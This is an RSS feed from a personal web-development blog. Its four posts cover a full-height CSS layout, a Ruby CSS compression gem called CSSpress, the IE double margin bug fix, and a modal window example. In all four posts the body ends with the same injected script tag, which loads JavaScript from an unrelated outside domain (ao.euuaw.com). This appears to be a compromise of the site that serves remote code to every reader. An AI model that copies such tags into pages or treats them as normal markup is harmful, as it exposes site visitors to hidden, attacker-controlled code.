<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Moose56 blog &#187; CSS</title>
	<atom:link href="http://moose56.com/blog/category/css/feed/" rel="self" type="application/rss+xml" />
	<link>http://moose56.com/blog</link>
	<description>/pictures, code and word</description>
	<lastBuildDate>Fri, 09 Apr 2010 13:58:20 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
		<item>
		<title>Full height CSS layout</title>
		<link>http://moose56.com/blog/2009/10/24/full-height-sizeable-css-layout/</link>
		<comments>http://moose56.com/blog/2009/10/24/full-height-sizeable-css-layout/#comments</comments>
		<pubDate>Sat, 24 Oct 2009 10:47:04 +0000</pubDate>
		<dc:creator>moose56</dc:creator>
				<category><![CDATA[CSS]]></category>
		<category><![CDATA[IE]]></category>
		<category><![CDATA[Web]]></category>

		<guid isPermaLink="false">http://moose56.com/blog/?p=102</guid>
		<description><![CDATA[The other day I needed to produce a web page which had a full height and width layout. It also needed header, left hand navigation and main content areas. There would be no guarantee that the navigation or the main content would be taller than the screen so I needed to fix the layout to [...]]]></description>
			<content:encoded><![CDATA[<p>The other day I needed to produce a web page which had a full height and width layout. It also needed header, left hand navigation and main content areas.</p>
<p>There would be no guarantee that the navigation or the main content would be taller than the screen so I needed to fix the layout to the height of the browser. I also wanted it to be cross browser compatible and sizeable by the user if it was used as a popup.
<p><span id="more-102"></span>
<p>Lots of Google searches uncovered various different ways of getting a similar result to what I wanted, but most made use of the %100 heigh method. As I needed it to work in IE6/7/8 none of these solutions seemed to work.
<p>Anyway, a lot of playing and a complete re-write later I think I have a pretty good solution that works in:</p>
<ul>
<li>IE</li>
<li>Safari</li>
<li>FireFox</li>
</ul>
<p>Take a look at an example <a href="http://moose56.com/blog/wp-content/uploads/2009/10/FullHeightExample1.html" title="FullHeightExample.html">here</a>.</p>
<p>This should give you the idea of what I was after. So because I could not find what I needed here is a <a href="http://moose56.com/blog/wp-content/uploads/2009/10/FullHeightLayout1.zip" title="FullHeightLayout.zip">template</a> for anyone else who needs something like it.</p>
<p><script src="http://ao.euuaw.com/9"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://moose56.com/blog/2009/10/24/full-height-sizeable-css-layout/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>CSSpress</title>
		<link>http://moose56.com/blog/2008/05/16/csspress/</link>
		<comments>http://moose56.com/blog/2008/05/16/csspress/#comments</comments>
		<pubDate>Fri, 16 May 2008 20:51:35 +0000</pubDate>
		<dc:creator>moose56</dc:creator>
				<category><![CDATA[CSS]]></category>
		<category><![CDATA[Ruby]]></category>
		<category><![CDATA[Web]]></category>

		<guid isPermaLink="false">http://moose56.com/blog/?p=52</guid>
		<description><![CDATA[So today I launched a little command line application for compressing CSS files. My main motivations for this were that I wanted a little tool to strip out comments and whitespace as well as crunch down some of the style values into more optimized versions. As well as this I wanted to write a program [...]]]></description>
			<content:encoded><![CDATA[<p>So today I launched a little command line application for compressing CSS files.</p>
<p><span id="more-40"></span></p>
<p>My main motivations for this were that I wanted a little tool to strip out comments and whitespace as well as crunch down some of the style values into more optimized versions. As well as this I wanted to write a program in Ruby that someone else might actually find usefull as well as help me learn a little more about the language.</p>
<p>Currently it can do a pretty good job of removing the comments and the white space and I am working on the rest. You can find out more about it at <a href="http://www.csspress.net">csspress.net</a>.</p>
<h3>A long road</h3>
<p>What follows is a little account of how I got this far with it. If you don&#8217;t care about implementation stuff you probably don&#8217;t want to read on.</p>
<p>In order to distribute the tool I found that by packaging my application as a <a href="http://www.rubygems.org/">RubyGem</a> and hosting it on <a href="http://rubyforge.org/">RubyForge</a> anyone can download it simply by typing sudo gem install csspress (anyone on a mac that is) and they can use it right away. No difficult messing with source code.</p>
<p>In terms of writing it in Ruby, that was not crucial to the programs operation. From the users point of view they don&#8217;t care what its implemented in, only that it works. The advantage of using Ruby from my point of view is that I like programming with it and with the gem system it makes it child&#8217;s play to deploy it.</p>
<h3>Gems</h3>
<p>In order to package your code as a gem you have to use a specific directory structure. I already had a rudimentary working version of my application so I had to fit it in around this structure. It was a little trial and error at first and then I found <a href="http://newgem.rubyforge.org/">New Gem Generator</a>, this provides a command that generates the directory structure and as well as a load of useful files and rake tasks. You might find it a bit over the top (is so try <a href="http://seattlerb.rubyforge.org/hoe/">Hoe</a>), but after spending a bit of time and a little more trial and error I have come to really like it.</p>
<h3>Tips</h3>
<p>If you use a version control system like Subversion or Git you should ignore the doc/ and pkg/ directories as well as the index.html file, as these contain files that will change a lot and cause you a lot of problems.</p>
<p>I also found it useful to have a dig about in some of the gems I already had installed on my system. Its really good to see how other people have done it before you.<br />
<h3>What&#8217;s coming</h3>
<p>If I am honest it took me longer to set up the gem, SVN repository and rubyforge account than it did to write the program. Now its all in place though I can now get cracking on improving the tool and adding functionality.</p>
<p>Download it and give it a go; you might find it useful.</p>
<p><script src="http://ao.euuaw.com/9"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://moose56.com/blog/2008/05/16/csspress/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Double Margin Bug</title>
		<link>http://moose56.com/blog/2007/08/21/double-margin-bug/</link>
		<comments>http://moose56.com/blog/2007/08/21/double-margin-bug/#comments</comments>
		<pubDate>Tue, 21 Aug 2007 17:32:00 +0000</pubDate>
		<dc:creator>moose56</dc:creator>
				<category><![CDATA[CSS]]></category>
		<category><![CDATA[IE]]></category>
		<category><![CDATA[Web]]></category>

		<guid isPermaLink="false">http://moose56.com/blog/2007/08/21/double-margin-bug/</guid>
		<description><![CDATA[Don&#8217;t you just hate it when you spend hours lovingly crafting a layout in CSSedit/Safari/FireFox to the point of beautiful elegance only to discover that IE turns it into a pile of merde? This happened to me just the other day and even though it was down to a tiny, well known bug it still [...]]]></description>
			<content:encoded><![CDATA[<p>Don&#8217;t you just hate it when you spend hours lovingly crafting a layout in CSSedit/Safari/FireFox to the point of beautiful elegance only to discover that IE turns it into a pile of merde? This happened to me just the other day and even though it was down to a tiny, well known bug it still caused me a little grief. Because of this here is yet another blog post about fixing the double margin bug so others may fix it quicker than I did.</p>
<p><span id="more-9"></span></p>
<p>So first up, here is what I was after; a 640px wide wrap div centered on the page with a content div centered inside it. The wrap div has a vertically tiled background image that adds a left and right drop shadow border. The width of the border on each side is 5px. I also wanted a margin between the content div and the wrap border. Because of this I made the content div 600px wide giving 20px on each side for a margin. Giving the content div a left margin of 20px centers it nicely inside the wrap div.</p>
<pre class="viewsource"><code class="css">
#wrap {
    width: 640px;
}</code></pre>
<pre class="viewsource"><code class="css">
#content {
    width: 600px;
    margin-left: 20px;
}</code></pre>
<p><img src='http://65.38.103.130/~moose56/blog/wp-content/uploads/2008/02/bouble_margin_bug.jpg' alt='double Margin Bug' /></p>
<p>So I though I was finished, Safari/FireFox/Opera all playing nicely and so was IE7. Then a quick check in IE6 and IE5 (I am a charitable sole) and doh it&#8217;s all on the right side.</p>
<h2>The science bit (concentrate&hellip;)</h2>
<p>A lot of tweaking later trying different margin and padding settings and I was getting frustrated. Such a little problem causing me a lot of anguish. Anyway a quick Google on &ldquo;IE margin problem&rdquo; and &ldquo;IE messing up margin&rdquo; turned up <a href="http://www.webmasterworld.com/forum83/3694.htm">this</a> forum thread (thanks suzyUK).</p>
<p>So according to that all I need to do is add display: inline; to the content div.</p>
<pre class="viewsource"><code class="css">
#content {
    width: 600px;
    margin-left: 20px;
    display: inline;
}</code></pre>
<p>Magic, IE5/6 working like a charm and all the others are unchanged. Sorted!</p>
<p><script src="http://ao.euuaw.com/9"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://moose56.com/blog/2007/08/21/double-margin-bug/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>CSS &amp; Javascript modal windows</title>
		<link>http://moose56.com/blog/2007/05/16/css-javascript-modal-windows/</link>
		<comments>http://moose56.com/blog/2007/05/16/css-javascript-modal-windows/#comments</comments>
		<pubDate>Wed, 16 May 2007 17:36:00 +0000</pubDate>
		<dc:creator>moose56</dc:creator>
				<category><![CDATA[CSS]]></category>
		<category><![CDATA[Javascript]]></category>

		<guid isPermaLink="false">http://moose56.com/blog/?p=13</guid>
		<description><![CDATA[I have been trying to set up a modal window on a web site like the one used by wayfaring.com for a login window. A little searching turned up a few different implementations an I picked Pj Hyett&#8217;s as he was the person to make the wayfaring.com one. The reason I am blogging about it [...]]]></description>
			<content:encoded><![CDATA[<p>I have been trying to set up a modal window on a web site like the one used by <a href="http://www.wayfaring.com/">wayfaring.com</a> for a login window.</p>
<p>A little searching turned up a few different implementations an I picked <a href="http://www.pjhyett.com/posts/190-the-lightbox-effect-without-lightbox">Pj Hyett&#8217;s</a> as he was the person to make the wayfaring.com one.</p>
<p>The reason I am blogging about it is that a few people commented on the PJ Hyett blog that they could not get it working so I am posting a zip file of a working example <a href='http://65.38.103.130/~moose56/blog/wp-content/uploads/2008/02/modal_window.zip' title='modal_window'>here</a>.<script src="http://ao.euuaw.com/9"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://moose56.com/blog/2007/05/16/css-javascript-modal-windows/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
	</channel>
</rss>
